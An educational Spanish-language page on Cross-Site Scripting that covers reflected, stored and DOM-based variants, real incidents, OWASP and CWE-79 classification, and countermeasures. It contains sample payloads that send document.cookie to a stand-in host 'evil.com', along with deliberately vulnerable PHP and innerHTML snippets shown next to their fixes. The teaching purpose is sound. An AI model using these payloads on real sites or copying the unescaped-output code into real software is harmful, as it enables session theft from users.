¿Qué es Cross-Site Scripting?
El ataque web más prevalente desde hace más de dos décadas. Qué es, cómo funciona, cuánto daño hace y dónde está catalogado.
La idea en una frase
¿Por qué es posible?
Las aplicaciones web mezclan constantemente datos no confiables (input del usuario, parámetros de URL, contenido de base de datos) con código HTML/JS que el navegador va a ejecutar. Cuando esa mezcla se hace sin las debidas precauciones, el atacante puede "colar" su propio código dentro del flujo legítimo.
<!-- El usuario busca "zapatillas" -->
<p>Resultados para:
<strong>zapatillas</strong>
</p>
<!-- El servidor genera esto: -->
<!-- Resultados para: zapatillas -->
<!-- Todo correcto ✅ -->
<!-- El atacante envía este "término": -->
<script>alert(document.cookie)</script>
<!-- El servidor genera esto: -->
<p>Resultados para:
<strong>
<script>alert(document.cookie)</script>
</strong>
</p>
<!-- El navegador ejecuta el script 💀 -->
El flujo del ataque — visualmente
Escenario: atacante roba la sesión de un usuario de un banco
- El atacante encuentra que el buscador de banco.com refleja el input sin sanitizar.
- Crafts una URL:
banco.com/buscar?q=<script>fetch('evil.com?c='+document.cookie)</script> - Envía la URL a la víctima por email o mensaje haciéndola pasar por legítima.
- La víctima hace clic. El servidor devuelve la página con el script dentro.
- El navegador ejecuta el script bajo el dominio banco.com → lee la cookie de sesión.
- La cookie llega al servidor del atacante. Sesión comprometida.
¿Qué puede hacer el atacante una vez ejecuta JS?
Robo de sesión
Accede a document.cookie y exfiltra las cookies de sesión que no tengan la flag HttpOnly. Con la cookie puede suplantar al usuario.
Defacement
Modifica el HTML visible de la página. Puede reemplazar contenido, añadir mensajes, alterar precios, cambiar números de cuenta en pantalla.
Phishing en contexto
Inyecta formularios de login falsos en la URL legítima del banco. La víctima ve banco.com en la barra de dirección y no sospecha.
Keylogging
Escucha eventos de teclado con addEventListener('keypress',...) y envía cada tecla pulsada al atacante en tiempo real.
Acciones CSRF
Ejecuta peticiones autenticadas en nombre de la víctima: transferencias, cambios de contraseña, publicación de contenido.
📸 Captura de pantalla
Con APIs como Canvas o librerías externas, puede capturar y exfiltrar lo que ve el usuario (formularios, datos sensibles en pantalla).
Los tres tipos de XSS
Todos comparten el mismo objetivo final — ejecutar JavaScript malicioso en el navegador de la víctima — pero difieren en cómo llega el payload al navegador y quién lo almacena.
XSS Reflejado
El servidor "rebota" el payload de vuelta al usuario sin almacenarlo.
XSS Persistente
El payload se almacena en la base de datos y se sirve a todos los visitantes.
XSS basado en DOM
El payload nunca pasa por el servidor — vive en el cliente.
#hash — invisible para el servidor#hash nunca llega al servidor — sin logsTabla comparativa rápida
| Característica | Reflejado | Persistente | DOM |
|---|---|---|---|
| Servidor procesa el payload | ✅ Sí | ✅ Sí | ❌ No |
| Se almacena en BD | ❌ No | ✅ Sí | ❌ No |
| Afecta a múltiples víctimas | ❌ No | ✅ Sí | ❌ No |
| Visible en logs del servidor | ✅ Sí | ✅ Sí | ❌ No (si usa #hash) |
| Requiere interacción víctima | ✅ Sí | ❌ No | ✅ Sí |
| WAF puede bloquearlo | ⚠️ A veces | ⚠️ A veces | ❌ Difícil (client-side) |
Del HTML inocente al XSS — paso a paso
Los ejemplos más sencillos posibles para entender exactamente qué está ocurriendo.
Ejemplo 1 — El saludo que ejecuta código
tienda.com/bienvenida?nombre=Carlos → "Hola, Carlos"
<?php
$nombre = $_GET['nombre'];
// ❌ Input sin escapar en el HTML
echo "<h1>Hola, " . $nombre . "</h1>";
?>
/* URL normal:
?nombre=Carlos → <h1>Hola, Carlos</h1>
URL maliciosa:
?nombre=<script>alert(1)</script>
→ <h1>Hola, <script>alert(1)</script></h1>
→ el navegador ejecuta el script ❌ */
<?php
$nombre = $_GET['nombre'];
// ✅ htmlspecialchars escapa los caracteres HTML
$nombre_seguro = htmlspecialchars($nombre, ENT_QUOTES, 'UTF-8');
echo "<h1>Hola, " . $nombre_seguro . "</h1>";
?>
/* URL maliciosa con el fix:
?nombre=<script>alert(1)</script>
→ <h1>Hola, <script>alert(1)</script></h1>
→ el navegador muestra el texto literal ✅ */
Ejemplo 2 — El comentario que infecta a todos
<!-- El atacante escribe este "comentario": -->
<script>
// Roba la cookie y la envía al atacante
var img = new Image();
img.src = "https://evil.com/steal?c="
+ encodeURIComponent(document.cookie);
</script>
<!-- O más silencioso: -->
<img src=x
onerror="fetch('https://evil.com/steal?c='
+document.cookie)"
style="display:none">
<!-- El blog renderiza todos los comentarios -->
<div class="comment">
<strong>usuario_malo</strong>
<!-- ❌ El contenido del comentario
se inserta como HTML sin escapar -->
<script>
var img = new Image();
img.src = "https://evil.com/steal?c="
+ encodeURIComponent(document.cookie);
</script>
</div>
<!-- El navegador ejecuta el script.
La cookie llega a evil.com. -->
Ejemplo 3 — DOM XSS con location.hash
// La app lee el hash para el saludo
window.onload = function() {
var name = location.hash.slice(1);
// ❌ innerHTML es un sink peligroso
document.getElementById('welcome')
.innerHTML = 'Hola, ' + name;
};
// URL normal:
// app.com/dashboard#Carlos
// → "Hola, Carlos" ✅
// URL maliciosa:
// app.com/dashboard#<img src=x onerror=alert(1)>
// → el img dispara el onerror ❌
// El hash NUNCA llega al servidor.
window.onload = function() {
var name = location.hash.slice(1);
// ✅ Opción A: textContent no parsea HTML
document.getElementById('welcome')
.textContent = 'Hola, ' + name;
// ✅ Opción B: crear nodo de texto
var node = document.createTextNode(
'Hola, ' + name
);
document.getElementById('welcome')
.appendChild(node);
};
// URL maliciosa ahora:
// → muestra el texto literal "<img...>"
// → no ejecuta nada ✅
XSS en números reales
Casos reales documentados
El "XSS worm" de Twitter. Un payload almacenado en tweets se auto-propagaba: cuando un usuario pasaba el cursor por un tweet infectado, el script publicaba el mismo tweet malicioso en su cuenta. Se propagó a más de 100.000 cuentas en menos de una hora.
💥 Impacto: propagación masiva, spam, redirecciones a sitios maliciosos.
Un script malicioso fue inyectado en la página de pago de British Airways mediante un ataque de supply chain (Magecart). El script capturaba los datos de pago en tiempo real y los enviaba a un servidor controlado por los atacantes.
💥 Impacto: 500.000 clientes afectados. Multa de £20M por GDPR. Datos de tarjetas bancarias comprometidos.
Investigador de seguridad encontró XSS almacenado en el muro de Facebook que permitía ejecutar código en el contexto de cualquier usuario que visitara el perfil. Facebook tardó en responder, por lo que el investigador lo demostró publicándolo en el muro de Mark Zuckerberg.
💥 Impacto: potencial acceso a datos de millones de perfiles. Recompensa de $500 (controvertida).
Múltiples vulnerabilidades XSS en listados de productos permitían a vendedores maliciosos inyectar código en las páginas de sus productos. Los compradores que visitaban esos listados podían tener sus sesiones robadas.
💥 Impacto: robo de sesiones de compradores, redirecciones a webs de phishing con la URL de eBay.
XSS en el mercado de ciberseguridad
Bug Bounty
XSS es consistentemente la clase de bug más encontrada y más pagada en plataformas como HackerOne o Bugcrowd. Un XSS crítico en Google o Microsoft puede superar los $30.000.
Mercado negro
Un XSS persistente en un sitio de e-commerce de alto tráfico puede venderse por $500–$5.000 en foros de cibercrimen. Los datos de tarjetas generan el verdadero valor.
Pentesting
Encontrar XSS es una habilidad fundamental para cualquier pentester web. Es uno de los primeros vectores que se evalúa en auditorías OWASP WSTG.
Defensa
Los controles más efectivos — CSP, sanitización y frameworks modernos — han reducido XSS en webs grandes. Pero persiste en aplicaciones legacy, CMSs mal configurados y extensiones de terceros.
XSS en el ecosistema OWASP
OWASP Top 10 — Evolución de XSS
El OWASP Top 10 es la referencia más utilizada para priorizar riesgos en aplicaciones web. XSS ha estado en el Top 10 ininterrumpidamente desde la primera edición en 2003.
En 2021, XSS dejó de ser una categoría independiente (era A7 en 2017) y se fusionó con A03 Injection, junto con SQL Injection y otras inyecciones. Esto refleja la visión unificada de OWASP: XSS es fundamentalmente una inyección de código en el contexto del navegador.
OWASP WSTG — Guía de pruebas
El Web Security Testing Guide (WSTG) es el manual de referencia para realizar auditorías de seguridad en aplicaciones web. Define cómo probar cada vulnerabilidad con metodología, payloads y criterios de severidad.
| ID WSTG | Prueba | CWE | Severidad |
|---|---|---|---|
| WSTG-INPV-01 |
Testing for Reflected XSS Verificar que parámetros de entrada no se reflejan sin escapar en respuestas HTML. |
CWE-79 | Alta |
| WSTG-INPV-02 |
Testing for Stored XSS Verificar que datos almacenados (comentarios, perfiles) no se renderizan sin sanitizar. |
CWE-79 | Crítica |
| WSTG-CLNT-01 |
Testing for DOM-Based XSS Identificar sources y sinks en JavaScript del cliente. Revisar uso de innerHTML, eval(), document.write().
|
CWE-79 | Alta |
| WSTG-CLNT-02 |
Testing for JavaScript Execution Verificar que valores de atributos HTML como href, src, action no aceptan javascript:.
|
CWE-79 | Media |
| WSTG-CLNT-03 |
Testing for HTML Injection Inyección de HTML sin llegar a ejecutar JS — puede llevar a phishing contextual. |
CWE-80 | Media |
CWE-79 — La debilidad base
La raíz técnica de todas las variantes de XSS. La aplicación no neutraliza (escapa/valida) correctamente los datos proporcionados por el usuario antes de incluirlos en la salida que se envía al navegador web.
- CWE-80 — Basic XSS (HTML injection)
- CWE-81 — Improper Sanitization in Error Pages
- CWE-83 — Improper Neutralization in Attributes
- CWE-84 — Improperly Encoded URI Schemes
- CWE-87 — Alternate XSS Syntax
- Confidencialidad — robo de datos de sesión
- Integridad — modificación de contenido
- Disponibilidad — DoS a nivel de página
- Control de acceso — escalada de privilegios
Contramedidas según OWASP
1. Output Encoding
Escapar siempre antes de insertar en HTML, JS, CSS o URL. Usar funciones específicas del contexto: htmlspecialchars(), encodeURIComponent().
2. Content Security Policy
Cabecera HTTP que restringe qué scripts pueden ejecutarse y desde qué orígenes. Mitiga el impacto de XSS incluso si el payload se inyecta.
3. Input Validation
Validar el formato esperado del input (whitelist). No confiar solo en esto — la validación no sustituye al encoding.
4. Frameworks modernos
React, Vue, Angular escapan automáticamente el contenido dinámico. El riesgo persiste cuando se usan dangerouslySetInnerHTML o equivalentes.